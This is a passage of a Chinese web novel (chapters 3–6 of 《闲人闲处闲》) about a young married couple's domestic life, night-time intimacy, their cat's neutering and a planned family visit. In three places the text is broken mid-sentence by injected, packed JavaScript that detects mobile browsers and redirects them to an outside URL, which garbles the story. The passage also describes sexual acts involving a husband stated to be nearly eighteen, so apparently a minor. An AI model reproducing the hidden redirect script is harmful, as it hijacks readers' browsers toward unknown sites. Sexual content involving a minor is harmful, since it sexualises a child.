《闲人闲处闲》 3. 〇三 崔其玉呼吸一滞,夜色中,只听见心脏砰砰跳动。许久,他才轻微动了动头颅,试图在黑暗中辨清枕边人。 “娘子,你在哪处见到我?” 冯希真听他反过来问起她,不觉怄气:“我正是要你自己坦白,你反倒问起我来。” 崔其玉听她口吻不悦,心上悬的石头终于坠下,喉结滚动下说:“我……我知错了。” 一上来就认错,冯希真挑起眉,继续问:“错在哪儿?” “我不该跟踪娘子,但遇着耿元良后我就停下了。” 跟踪她? 冯希真怎么也没想到会问出这等事来,她即刻伸手将他脸掰过来,崔其玉顺势侧过身,嗅到她身上的气息时,原本想要屏住的气息反而没忍住仔细嗅了嗅。 好香,为何她的澡豆总是这般香? 崔其玉因心猿意马,有一瞬失神,连认错的事都抛之脑后,还是冯希真再开口他才回过神来。 “怎么不说了?” “我——”崔其玉想着朝她面前贴近几分,老老实实地认起错,“我原是想看娘子出门是去见谁,便易容尾随,可不想还是教人认出来……” 冯希真一听这话,明白过来他换衣裳的缘由,又问:“那松黄豆糕又是怎么回事?” 崔其玉想到早间那份豆糕,解释道:“早间我确是买来份松黄豆糕,不过遇到个酒鬼,竟将酒撞翻洒在上头,毁了那些糕点,我再回酥山坊时容娘子说已售罄,让我明日再去。” 原来如此。 冯希真心头那股莫名憋了半日的气总算消散,但她还是教他这解释中另一事气笑来,这时揪住问他:“那你觉得我是去见谁的?” 崔其玉不敢吭声,直到冯希真忽地垂下放在他脸颊上的手,他才伸手抓住她的手腕,忙说:“疑心娘子原是我心胸狭隘,今后不会了,还请娘子不要生气。” 声音委屈巴巴,反倒像是她欺负了人,冯希真没好气,不过想到今日她也曾疑心他,便又觉得兴许没道理生气。 她只试探般问:“那你昨夜便是为我每日早间出去一事怄气?” “我没怄气。”崔其玉矢口否认。 “当真?” 只不过轻轻质问一句,崔其玉便不敢嘴硬,只捏捏她的手腕,什么也不说,就叫她声:“娘子。” 冯希真一听他撒娇般的口吻就没了脾气,但她还是将手从他掌中抽出,说:“睡了。” 崔其玉没应声,身侧的人翻身平躺下,而他依旧侧躺,一面又不着痕迹地靠近几寸。 冯希真不习惯用硬枕,自小便用棉花填的枕头,成亲后住在左相府,她先将就用了段时日硬枕,只觉脖颈受罪,这才换了软枕。 而崔其玉也随之换了枕头,起初他还不习惯,后来便觉得软枕极好,可以一点点挪去她那边,而不用牢牢枕在硬枕低凹处。 眼下他越靠越近,温热的呼吸落在冯希真耳畔,冯希真不由得想到昨夜与他在浴池中闹腾的事,耳廓一热。 成婚虽有九月,但住在左相府上时,她与崔其玉同床半年之久也从未行过床笫之事,她想许是因为此人年纪还小,不懂此事,而她虽看过些话本与避火图,但对此也并非那般好奇,故从未与他提过此事。 直到今年开春他们搬来漪园后,没几日他便红着脸问起,可否与她做夫妻间才做的那事,问得好不直白,她又没道理回绝,而后便顺其自然地同他有了夫妻之实。 许是这缘故,这两三月间他们比此前半年倒亲昵不少,冯希真也早知道此人才不是不懂事。 也是,他也快十八了,早就不是个孩子。 这时她耳廓热烘烘的,身体也渐渐升起些热意,好在没有点灯,并没觉得羞涩,反而是低声对耳畔那人说:“今夜不许闹太晚。” 崔其玉一听这话,当下含含糊糊应上声,一颗脑袋缓缓贴过去。 暗色里传出窸窸窣窣的声音,被衾原本盖在身上,但随后教人挤到一旁去。 春夜渐渐升温,冯希真一只手揪着教人挤到一旁的被衾,另一只手轻轻抚摸着崔其玉的后脑。 他很乖,有时候冯希真会觉得他像只猫,瞧着漂亮,平日里流露出一股不与人亲近的高傲劲儿,但私下里很是亲人,而这只猫似乎比别的猫还要亲人。 冯希真任由猫舔舐着她,但猫似乎有些得寸进尺,连牙也用上,她便惩罚似的用力捏了捏猫的耳朵,猫哼哼声,这才听话些。 她又顺手将手搭回猫脑袋上,起初胳膊弯折,随后一点点伸展开,近乎伸直…… 除了有些酥痒湿热外,冯希真只觉舒适,此前两个多月里,他从未像今夜这般做过,真不知又是从哪儿学来的? 想到这里,她忍不住问他:“崔其玉……你不会与旁人做这种事的罢?” 崔其玉百忙中回她句:“不要。” 她问会不会,他却说不要,根本就是答非所问。 但冯希真一时顾不得计较,只是微微扭动腰肢,以缓解那种奇异的感觉,不过双腿一动,就教两只手禁锢住。 “崔其玉……”冯希真又想捏他耳朵,但下一刻便浑身一软。 许是头一回的缘故,两人又磨磨蹭蹭好长时间,全然忘了此前说过今夜不许闹太晚的话,等崔其玉忙完后,还想动作,冯希真便面红耳热踢开他,说:“我累了。” 崔其玉有几分委屈,他今夜连衣裳都还没脱。 但他闻言还是小心翼翼为她擦了擦身子,随后为她掩上衣衫,一把扯回被子盖住她,自己则接着晾在外边儿。 冯希真也觉得她有几分不厚道,可就算是慢吞吞折腾半晌,也该累了,她便牵起被角将人一同罩住,说:“当心着凉。” 崔其玉感觉像是被她拥抱住,更觉难受,正想试试看与她撒娇,结果这时冯希真不知有意还是无意地同他说了句话,原本的势头即刻一落千丈。 她说:“近日该寻个时间带踏雪去净猫园了……” 踏雪是他们今年开春时在京城外一处山庄里捡回来的猫,如今已有半岁,总算到了能阉割的年纪。 崔其玉闻言动了动脑袋,忽然间没那么难受。 希真为何要这时说这话? 冯希真却已迷迷糊糊睡了过去。 一觉醒来,已经快日上三竿,冯希真揉揉眼睛,一睁眼便见面前躺着崔其玉。 面庞白皙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361257|199749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如玉,容貌精致如画,眼眸清澈漂亮,冯希真不由得想起携月说他看她时双眼发光的事来,她笑了笑,问他:“醒了怎么不起来?” “想看看娘子。” 冯希真闻言竟耳热一阵,觉得这人嘴更甜了几分,但想起昨夜他用嘴巴做了些什么,立时面颊酡红坐起身来。 崔其玉跟着起身,没事人般问她:“娘子今日穿什么衣裳?” “前几日新送来的青罗褙子可以穿了,里头的裙子你替我挑件便是。” 崔其玉便穿着里衣下床,依言去给她寻衣裳。 虽才成亲不足一年,但冯希真已经有些记不清是从几时开始崔其玉每日都要问询她穿什么衣裳的事了。 起初她还说得清清楚楚,后来便越来越随意,有时早间惫懒,不愿理人,崔其玉便自己挑一身衣裳放在屏风上。几次过后,冯希真便发觉这位小公子的审美甚合她意,想来也是,整日与丹青笔墨打交道的人又怎会不懂穿衣一事。 这日崔其玉为她挑选好一条菱格裙,腰带和首饰也一并挑好,冯希真穿上甚是满意地转上圈。 回头看崔其玉,他也已换上了那日送来的新衣,他穿衣一向鲜艳,不过这身新衣与她这身绿相近,较为清淡,穿在身上整个人身形颀长挺拔,漂亮得像棵小松。 冯希真不禁笑了笑:“既然我们都穿上新衣,不妨就趁今日带踏雪去净猫园一趟?” “……” 这种事需用穿新衣去吗? 崔二公子心头这般想,但面上乖乖巧巧点头。 于是,随意用过早膳后两人就将踏雪放进一只猫笼里,带上携月与一个平日专门照料猫儿的侍女一同出园去。 近来天气极好,街头行人如织,而这时节街头随处可见卖花的小摊贩。 冯希真不喜车马出行,眼下走在街头瞧着那些卖花人,不禁愉悦几分,对身旁人道:“从前在杭州时,我也常跟邻人去街头卖花。” 崔其玉头回听她说这事,问:“你在杭州时,爹不是已经做了知州吗,怎会有卖花的邻人?” 他说的爹自然是冯望川,冯希真听后转过头来。 她头戴一顶白色帷帽,隔着轻纱有些讶异地看他,没想到崔其玉竟还知道她爹这些年做过什么官,她还以为此人除了风雅之事,别的事一概不知。 不过好歹也是他半个爹了,知道才是人之常情罢? 这么想着,她答他:“虽是做了州官,邻人也很富足,但这天下总有许多人念旧的……” 她便将昔日住在杭州的事说来给崔其玉听。 以往冯望川在杭州做官时,她们一家三口在官衙外不远处租了间小宅院,邻人是当地的秀才,平日在书院教书,而邻人家中有个老母亲,从前住在乡下时,她日日背着时令蔬果或鲜花到城中售卖,便这样抚养孩儿长大,后来孩儿接她住进城中,她反倒不习惯,每日定要从其他乡人那儿买来一篓蔬果鲜花去街头卖,而那时冯希真闲来无事,就总跟着她去卖花。 她说话时,崔其玉目光落在她的帷帽上,也不管冯希真的脸全教帽檐遮挡住,只满脑子想象着她从前卖花的模样。 好喜欢啊,希真。 4. 〇四 净猫园位于城南一条长街上,时人多养猫犬,饲养飞禽奇兽的亦不少,而这条长街正是出售飞禽猫犬的地方,除此外亦售些猫食狗食,亦有为猫犬修剪毛发或染色的地方。 街道司每日清洁查检,故而此处虽多禽兽,但算不上脏乱,只不过有些盖不住的异味罢了。 冯希真自幼跟随父亲在外,去过不少脏乱地方,且她昔日种花还浇过肥水,故走在其间并不觉得这异味妨碍到她。 不过崔其玉却是头回来此,以往他也养一只猫,但只是同它玩会儿,哪里会特地来这种地方,这时走在这街巷中,不自觉地皱起眉来。 崔二公子皱眉头意味着他并不高兴,但他见冯希真还在兴致勃勃左右张望,想要挽留她候在外头等携月她们的话吞了回去,试图憋着气进去。 可还没走出几步,冯希真便拽了拽他的衣袖,道:“你瞧那只狮猫,是不是有些像卧云?” 卧云便是崔其玉养的那只猫,是只白色长毛狮猫,双眼异瞳,一金一蓝,极漂亮。 性子也有几分像主人,平日里也不与园中其他几只猫往来,尤其是那只白色短毛猫,似乎觉得它生得丑。 崔其玉原还憋着气,这时闻言看去,忍不住否认句:“不像。” 在崔其玉眼中,卧云就是世上最漂亮的猫。 冯希真早便发觉了这点,这时听得他回答觉得好笑,便只抿嘴一笑收回目光。等到路过卖小鱼干的小摊前,又叫来携月,两人停在摊前买了些鱼干,买完鱼干,又觉不能厚此薄彼,毕竟园中还有两条狗,遂又另寻一处小摊买来两根骨头。 因而,还没走到净猫园携月手里就拎了不少猫狗用物,而喂猫的侍女青鹭先她们一步将踏雪带去净猫园中。 净猫的是个二十七八岁的娘子,此处净猫园就是她与丈夫一同开下的,因净猫时恐会引起猫儿惊恐,大多数人都愿来外头净猫,免得猫此后不肯归家。 冯希真早些时候就来过几回,因而认得她,随众人唤她声闵娘子,不过净猫园倒不是只阉猫犬,也是会给猫犬治病的,否则哪能常来。 三人来时闵娘子已经给踏雪服下些麻沸汤,眼下正抓着踏雪,本是要好好安抚它一番,然而冯希真一来,她目光便落向院中站着的青衣少年郎身上,一边翘望,一边笑眯眯对身旁的冯希真道:“这就是传闻中的崔二公子啊,希真妹妹还真是积了德。” “积了德?” “你若不带他来,姐姐上哪儿去见这般标致的小郎君?还真是饱了眼福。” 闵娘子一贯语带调侃,知晓冯希真不会因她这话觉得冒犯。 冯希真抬眼看了看那人,忍俊不禁。 某人一进这院中,也不跟着她,径直就站去院中养的几丛栀子花前,她直到这时才想到原来这处的异味会教他受不了,可他竟还是一声不吭地跟了来。 闵娘子收回目光,见她笑,这才正色几分道:“看来妹妹成亲后也过得很愉悦。” 冯希真想了想,只说:“还算合意。” 闵娘子便一副嗔怪模样看她:“你若还不知足,我便不要活了。”说罢才笑呵呵看起手底下那只猫。 踏雪之所以叫踏雪,是因它通身黑毛,只有四足雪白。闵娘子看它时,它还一副懵懂模样教人摆弄着,她忍不住多摸几下它,安抚几句,看罢见时辰差不多,便叫来人忙活起净猫的事。 冯希真这才踱步去栀子花丛前,一走近,便用一副似笑非笑的模样看崔其玉,并不说话。 崔其玉立在花丛前,原是借枝上几朵还未绽放的栀子压制鼻息间的怪异气味,见她这副似笑非笑的模样,心底奇怪,到底还是问出声:“娘子为何这般看我?” “总觉得有人好似不高兴。” 崔其玉忙摇摇头。 “又没说是你。” “……” 冯希真见他一副吃瘪表情,莞尔一笑:“不喜欢这里怎不直说?倒像是我不关心你。” 听她这么说,崔其玉忙否认:“我知娘子关心我的。” 这倒教冯希真有些不好意思,毕竟她还真没想着关心他,不仅没有一发现这事就想带他离开这里,反而还想调笑他一番,可他是自己要这般乖的。 她想着,索性蹲身从那栀子丛中折下一朵花苞来,递出。崔其玉愣愣接过花苞,放到鼻息间嗅了嗅。 冯希真觉得他这样有几分痴相,想到什么,问他:“我适才可是辣手摧花了?” “花开堪折直须折,怎会是辣手摧花?” 都不是自己家的花,他倒会替人慷慨。冯希真想着笑道:“你若实在不喜这里,便先去外头透透气,这里还需等等。” “我就在这里等娘子。” 冯希真眯了眯眼,左右看看,见没人瞧他们,便要他低下头,崔其玉试探着垂下头颅,然后脑袋就教冯希真轻轻拍了拍。 他一时也顾不得觉得气味熏天,只觉得心脏跳得厉害。 希真为何要拍他? 但好像很舒服。 不过,冯希真这头刚拍完脑袋就听见踏雪在喵喵叫,收回手便回闵娘子那头,丢下她方才还觉得乖巧的某人。 为了少让踏雪吃些苦头,冯希真问闵娘子可否再多为它用些麻沸汤,但闵娘子冷酷回绝,说该用多少便用多少,多则易伤,冯希真只好在一旁怜爱看它。 晴日里天光好,闵娘子就在院中操刀,院中除了她丈夫,还有个帮工,三人快便将踏雪四只爪子都轻裹住,再用一块儿布将它裹作一团蚕蛹,只露出下半身。 踏雪约莫感觉到不安,但麻沸汤又教它昏昏欲睡,便只喵了两声。 冯希真与两个侍女便站在它身后看着,只见闵娘子手起刀落,好不利索地划了刀,踏雪便嗷嗷两声,叫声惨烈,冯希真心都提到嗓子眼,一把抱住携月的胳膊。 花丛前立着的崔其玉瞧见这一幕,抿了抿唇。 他怎么没想到?若是站在她身旁的是他,她应当抱住他才是。 崔其玉一时也不介意什么讨厌气味,捏着那朵冯希真摘给他的栀子花走了过去,冯希真瞥见她过来,挑眉松开携月。 “你怎么过来了?” 这地方他定是会嫌脏的。 “我见你害怕……” 他话音才落下,就听女人笑了声,不是闵娘子又是谁,只听她道:“崔公子,那你担心得可晚了,我这儿药都快上好来。” 闵娘子的竹刀使得利索,全程不过几息罢了,一放下竹刀便将踏雪伤口里的积血挤干净,眼下接过丈夫递来的瓷瓶,已为踏雪上好了药。 崔其玉因听见她说话看将去,正好瞧见帮工捡起从踏雪身上摘下来的东西,其上沾着血,他不免僵了一阵。 冯希真见他好像不大对劲,便将人拽了拽,自己对闵娘子说:“就知闵娘子技艺高超,那想必万事安好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361258|199749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不了几日就能痊愈罢?” 闵娘子便不打趣崔其玉,只道:“只要你们看管好它,按我说的做,保管五日内就能痊愈。” 青鹭已上前瞧看踏雪,许是麻沸汤的效用,这时它没有因为伤痛而激烈挣扎,只是恹恹地喵喵叫,闵娘子的丈夫又端来盆清水,她边洗手边对青鹭嘱咐起此后几日的喂养事宜。 冯希真则将崔其玉拉到一旁,凑近看他:“崔其玉,你怎么了?” 他适才一走近脸色就变得有些不对劲,还说什么见她害怕,她看是他害怕才对。 崔其玉不想她竟有所察觉,忙摇头说没什么,只不过否认得太快,一看便知是假话。 冯希真想了想,没再问他。 毕竟,人人都有秘密。崔其玉有不想告诉她的事,她也有不想告诉他的事,不是吗? 带踏雪回漪园的路上,气氛似乎没有来时那般融洽。 崔其玉倒是已经缓过神来,只不过他怕血一事,他仍不想教冯希真知晓。 他本就不及大哥聪明有能耐,若还这般胆小,他便更比不上大哥了。 想到这里,他难免又有些低落,偏头看冯希真,帽檐依旧将人挡着,但她似乎也不像早间出门时那般有兴致,从净猫园里出来后就鲜少说话。 崔其玉抿了抿唇,想寻些话说,便是在他苦苦思索时,一架经过他们的马车停下,车上一人探出头来叫两人名字。 “其玉?希真?” 两人纷纷驻足,扭头看去,车上一个瞧着才二十岁出头的娘子坐着,此时扶着车窗冲二人笑出对梨涡来,道,“真是凑巧,正要去找你们,这下倒省了我一顿跑。” 此人原是崔其玉一位堂姐,名唤崔巧君,父亲是大理寺卿,她如今的夫家倒与冯希真家中有点关系,是她嫂嫂的堂兄,今在翰林院做了个编修,算来和崔其书还是同僚。 不过这中弯弯绕绕太多,冯希真与她实际并不相熟,至于崔其书,看起来似乎与这位堂姐也不甚相熟,但人家这般热情,冯希真自然也卷起帷帽,露出笑吟吟的模样问她:“姐姐找我们有何要紧事?” 崔巧君听后表示:“说要紧也不是太要紧,只不过半月后就是煦儿周岁宴,要到你们那儿递封书简。” 她说完,低头翻找下什么,随后一手将一封请帖从马车内递出。 在人看来,这般举动当是鲁莽无礼数的,但崔巧君做得自然,只一副当真高兴能少跑一趟的模样。 冯希真倒觉得她挺有意思,接过请帖应承下,而后就听崔巧君说还要去别家送请帖便先告辞的话。 等马车缓缓离去,冯希真才转头看崔其玉,见他垂眉,直说道:“事是我应承下的,你若不愿去,到时候我与娘同去便是。” 她说的娘当然是指崔其玉的娘程简和,崔巧云是她夫侄,周岁宴程简和定是会去的,冯希真觉得随她去反而更省事。 但崔其玉一听这话,忙回道:“要去!” “去就去,这么大声做什么?” “……” 他又吃瘪,冯希真笑了笑,说:“饿了,回家。” 一听这话,崔其玉才然的低落便也荡开几分,满心想着冯希真说的回家二字。 如今,他与希真已是家人,他定会做个懂事又可靠的丈夫的。 正这般想,懂事的丈夫便因恍惚踩到什么,低头看时,整个人周身都腾起不悦的气息来。 5.〇五 冯希真也没想到今日带他出门一趟就害他吃了两遭苦,虽说这点小事放在旁人身上也不过是倒霉些,但放在崔其玉身上就称得上是苦头了。 回了漪园后,崔其玉做的头件事便是让人烧水沐浴。 冯希真见他隐隐有些生气,便知这人当真一点脏乱都容忍不得,于是安顿好踏雪后索性也回院中沐浴。 漪园中原本没有专门的浴室,不过两人搬来前便已先寻匠人将起居院侧厢的两间小屋改造成浴室。时人讲究沐浴,浴室也大有讲究,分前后两室,前室沐浴,里头有瓮池,后室烧火,热水穿墙而过,很是便宜。 浴室中有两处瓮池,冯希真进来时崔其玉仍在池中泡着,见她进来整个人往水下没了没,也不知在害哪门子臊。 冯希真见状没吱声,只绕到屏风后宽衣,也入池中。 两人平日里都是分开沐浴,中间挡一屏风,前天夜里原是崔其玉先越界的,冯希真这时想起来这事,不免又琢磨起崔其玉其人来。 自成亲以来,此人在她面前总是分寸合宜的,偶尔越界一两次也并未教她觉得不舒坦,她几乎觉得此人没什么脾气与棱角,至少他的存在并不妨碍她像往日那样过日子。 但最近这段时日,冯希真隐约觉得他像是生出些棱角,似乎硬了些,形状显了些,昨日竟还跟踪起她,而今日还因去了趟净猫园显出些少爷脾气来。不过若用“原形毕露”一词是不是太重了些? 冯希真没头没尾地想着,而后就听屏风另一面的人叫她声。 “娘子。” “嗯?” “只是想叫娘子声。” “……” 眼下冯希真断定此人确实有几分原形毕露,依据便是她忽然间觉得崔其玉有些像是朝她索取什么东西…… 想到此处,冯希真倒是又想起件往事来。 当初她娘怒斥她爹糊涂,想要拒绝这桩婚事,理由是崔其玉此人自幼娇生惯养,将来若真与女儿一起过日子,必然是予取予求、要女儿处处纵容的,而她又性子惫懒一向不懂照顾人,应当选个成熟稳重能包容她的夫婿,而崔其玉绝非这般人物。 在那之前,她原本的未婚夫崔其书倒与她娘所想相符,自幼便老成持重,人亦聪颖,年仅十八就入了翰林院,看便会照顾人,不过自从崔其书悔婚起,他在她娘眼中就归属于臭鱼烂虾之列,连带着看他兄弟崔其玉也不满,更遑论崔其玉本身就不合她眼缘…… “除了生得漂亮些,放在家中有什么用,还不及你爹,好歹能做手好菜!” 她娘原话似是这般说的,能让她说出不及她爹的话来,可见她有多不待见崔其玉,可那时她还是拦下她娘。 倒不是她喜欢崔其玉,只是彼时她已年满十七,即使退了这门亲事,他们也会想法子再寻一个佳婿,毕竟她从前问他们可否一直留在家中时,他们并未允诺过她可以不必嫁人这话,她那时便知晓,在爹娘心目中,她必须寻个夫婿才会令他们安心。 这般,与其换个不知会哪儿冒出来的素未谋面的人,倒不如就眼前这个漂亮的。 至于说其中是否还有其他考量,冯希真倒还真未想过。 嗯,倒教人好奇,这人若真“原形毕露”,是不是真如她娘说的那般予取予求…… 两人中间只隔一扇屏风,但即使没有这道屏风,崔其玉也不知冯希真心中所想。 他只是安安静静缩在水里,满脑子想着些没风骨的事,想上会儿,人便往水下没一截,越藏越深,直到听见屏风后传来冯希真出浴的声音,他才冒出头来。 两人一同沐浴罢,崔其玉换上干净衣裳后才觉自在些,而后便与冯希真到月波谢下用膳,约莫是耽搁得有些晚,今日午间两人倒吃得多些。 饭罢,又留在水榭里点茶,前几日刚磨了些茶,今日便不焙茶,只取茶末调汤。 对于点茶斗茶的风雅做派,冯希真一向没什么兴趣,不过若是有人请她评判高下,她倒是乐意多饮几杯,故而眼下她只随意拂出些茶沫便慢悠悠饮下,而后便是托腮盯着崔其玉看。 少年正低眉点茶,神情专注。 她曾听闻他十五岁那年随他的书画师父同去茶会,而后在分茶时胜过了一众士大夫,人人称道。当然,这传闻是那时同在其列的她爹传到她耳中的。 彼时是在饭桌上,他爹提到这位后辈时也夸赞了一口,她娘听后当即评价道:“你们这些游手好闲的少爷,整日里就琢磨这等闲事,拔了头筹又如何?若哪日家道中落了能点点茶就养活自己么?” 她娘便是十来岁时家中逢了变故,家道中落,而她爹从前的确也是个游手好闲的少爷。 听了娘这话后,她爹反倒高兴得不得了,不知羞道:“哎呀夫人,我如今哪还是什么少爷?倒把我说得年轻了。” 这般厚脸皮的疯癫话让人分不清他是真心说还是调侃,但往往能将她娘说得语噎,而关于崔其玉的话也一笔带过。 眼下冯希真忽地回想起那事来,一时有些想家,自从过年时在家中同母亲吵了一架后,她已有三月不曾回过家中。 正想着,崔其玉终于抬起头来,手捧着茶盏对她道:“希真,你瞧。” 冯希真回神,问他:“你叫我什么?” 她还是头回听他这般叫她,以往他都老实地唤她娘子。 崔其玉一不留神叫出心底一贯的称呼来,貌似赧然,默默道:“希、娘子……” 冯希真笑,不再追究,只接过茶盏看,茶汤之上,一丛兰草并枯石相依浮在茶沫上。她眯眼笑了笑,不做评价,只问:“给我喝吗?” “嗯。” 没有得到冯希真的赞誉,崔其玉抿了抿唇,但见冯希真端起茶盏饮起茶,他便盯着她弯了弯眉眼,双目澄澈又明亮。 冯希真抬眼看他:“你笑什么?” “娘子待我真好。” “……” 冯希真发觉这人说来还挺容易满足,但她没有接话,而是忽地转过话说:“过两日我想回家中一趟。” 一听这话,崔其玉似乎犹豫了片刻,而后才下定决心似的问:“我能与娘子同去吗?” “你若想去,我又岂能拦下你?” “那我就去备礼。” “着什么急,说了还要两日。” “那我先琢磨下送些什么……” 冯希真没有拦着他说不必见外的话,毕竟,崔其玉于她家中人说是外人也不为过,从她们订婚起,见面的次数少之又少,但她还是说:“不必太贵重,我娘瞧了兴许还要嫌碍眼。” 崔其玉记下,想了想岳母秦舒其人,隐隐感到些紧张。 从小到大,崔其玉从未见过真正待他严苛的长辈,连他父亲那样不苟言笑的人都从未苛责过他,故而在秦舒面前时,崔其玉能真切觉察出秦舒对他的不满,只要一想到她,崔其玉便有些为难。 以故这晚躺在床上时他都还在冥思苦想,一会儿想能送些什么,一会儿又想此前几次见秦舒对方看他不甚满意的眼神,越想越难以入睡。 早知如此,就不同希真说他要同去了。 可他若不陪希真同去,今后岳母不就更不满于他了吗? 崔其玉正苦恼,身侧的人倏而翻身,朝他靠近些。 两人已熄灯躺下,冯希真原以为昨夜某人没得逞,今夜定要像之前那样黏黏糊糊叫她,结果夜里此人竟跟块石头似的躺在那里,动也不动。 她睡上许久,却毫无睡意,索性翻身朝崔其玉靠近些。 两具年轻的身体在夜色中贴近,即使未曾触碰到彼此也有种温热气息纠缠在一处,崔其玉一感觉到身旁的人靠近,脑子也不胡思乱想了,只轻微屏息,随后也不假思索地侧过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368218|199749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身。 二人面对面躺着,冯希真呼吸均匀,像是已睡着,崔其玉轻轻嗅了嗅,在夜色里滚动下喉结,然后缓缓伸出一只手。指尖先是虚虚停在半空,像是在犹豫,随后才一寸寸落下,最终贴上冯希真的面颊。 温热的触感令他指尖微微一颤,竟不敢动。 冯希真闭着眼,感觉到那根微凉的手指长久地停留在她面庞上,良久才轻轻摩挲起来,而最后不偏不倚地游走到她唇上。 酥痒感令她睫毛轻颤下,呼吸也微微一顿,但夜色中无人发觉。 崔其玉的指腹轻轻描摹她的唇瓣,许久,终于像个小贼似的贴近头颅,好不轻巧地在冯希真唇上落下一吻。 他们从未亲吻过,即使是做那种事前,崔其玉也不敢去亲吻她的唇,这时只不过轻轻贴了片刻,他便面红耳热撤开一截。 心砰砰直跳,呼出的气息似乎变得灼热,连冯希真也觉得身体升起热意来。 似乎有种残留在身体里的感觉苏醒,她想要崔其玉。可他刚刚偷亲了她,她不想问他缘由。 为何? 冯希真想着,动了动身体,脑袋好不自然地往他怀中钻去,佯装睡着般将手搭到崔其玉纤细的腰上,呼出绵长的热气。 “唔……” 崔其玉鼻腔里不受控地钻出声闷哼,年轻气盛的身体发生了一些变化,而怀中的人又动了动手,他不由得一把按住那只手。 “唔,崔其玉,你做什么拉着我?” 冯希真的声音在夜色中响起,似是教他的动作惊醒,崔其玉一听冯希真的声音,连忙开口解释:“我、我不是故意的……” 当然不是故意的。 冯希真抿唇偷笑下,而后故意问:“那就是无意的吗?” 显然一副不信他的口吻,可分明就是她先动手的。 崔其玉自觉受了冤枉,但转念一想,索性胆一大,问她句傻话:“娘子,你醒了吗?” “……” “我睡不着。” 刚好她也睡不太着。 听她没应声,恐她理解不了他的意思,他又压低声暗示,“娘子,今夜你累么?” “你怎么这般啰嗦啊,崔其玉?” 崔其玉听后又不高兴,当下便松开那只手,另寻去别处,冯希真腰间一痒,轻扭下身子,发出声含糊不清的喟叹,然后出于不满也伸手去掐崔其玉的腰。 而崔其玉比她还怕痒,似乎还觉得她是有意在干扰他,故一面躲一面又重新握住她的手。 两人又黏在一起,冯希真一边由他动作,一边分神算了算。 这个月似乎比前两月要频繁得多,而他们彼此似乎也熟悉得多。许是这般缘故,她这几日才显得有些无节制的,那今日过后消停几日好了。 “希真……” “嗯……”她听见他叫她,懒懒应了声,好久才反应过来,迟钝问他,“你叫我什么?” “希真。” “怎不叫娘子了?” “娘子就是希真。” 他好早之前就想要叫她希真,像大哥那样,可大哥都没同她成亲,凭什么叫她希真? “崔其玉!” 冯希真忽然口吻有些重地叫他,又抬手捏他耳朵,崔其玉发现她总爱捏他耳朵,每次捏都是同个意思,他只好放乖些。 “希真。”他又叫她,但她没有回应,他只好再叫一声,“希真。” “嗯?” “好舒服……” “崔其玉,闭嘴。” 他憋了会儿才又开口:“下回可以点着灯么?” “做什么?” “想看看娘子……” 与今早醒来时说的话一样,冯希真想了想那场面,又捏了捏他耳朵,崔其玉便闷声不语。 他还不能太得寸进尺,希真会不喜欢的。 6.〇六 两日后,两人备好车马,一早离了漪园朝冯府去。 冯府位于城西,如今京中多数达官显人都住在城西,崔府也位居城西,不过月中时两人已按例回了趟崔府,今日只回冯府。 适逢休沐日,昨日两人已派人来传过信,故冯望川一早就在准备衣裳,换了一身又一身,秦舒最后总算忍无可忍,令他不许再换,冯望川才定下身上这身新衣。 “不知道的还当是你见岳父。”秦舒说话一向有几分毒。 冯望川听后乐呵呵道:“昔日我去见爹时可是足足换了七身衣裳。” 当年二人也是自幼定下的婚事,两家本也算是门当户对,竹马青梅,不过秦舒的爹在颁行新盐政时遭人弹劾,卷入一桩贪污案,此后遭贬谪离京。 秦舒母亲自来身体不好,那时一家四口远在惠州,过得很不如意,原以为冯家会因这场旧风波甩了这门烫手婚事,却不料冯望川与冯太傅还常与他们书信往来,两年后,冯望川带着当年定亲的信物远道而来,却非是去退婚,而是前去履约。 前去见秦舒父亲的那日早间,他便换了七身衣裳,不过是为岳父换的还是为秦舒换的就不好说了。 秦舒听他提起往事,没好气一笑,于是这早换衣裳的事就教冯望川转移开。 这日天照旧晴好,冯望川在两人来前安排人在家中小园的凉亭中摆好几榻,炉火茶具、瓶花、点心也都一应摆好,又让人取来他今日觅来的两块奇石,准备好给女儿女婿显摆,这才闲下来。 秦舒对冯望川的这些举动已熟视无睹,坐在方亭之下的飞来椅上想着头回女儿回家时与女儿的争执。 冯望川忙完走近来,问她:“人都要到了,等家来后与她说不就好了?” 秦舒抬眼,道:“少自作聪明。” 冯望川笑呵呵道:“我是不比夫人聪慧,但也猜得出你眼下是在想真儿。” 真儿过年时带女婿回过一次家,那时他与女婿对弈,真儿就与夫人在屋中谈天,等到离开时,他便觉察出女儿与夫人吵架了。 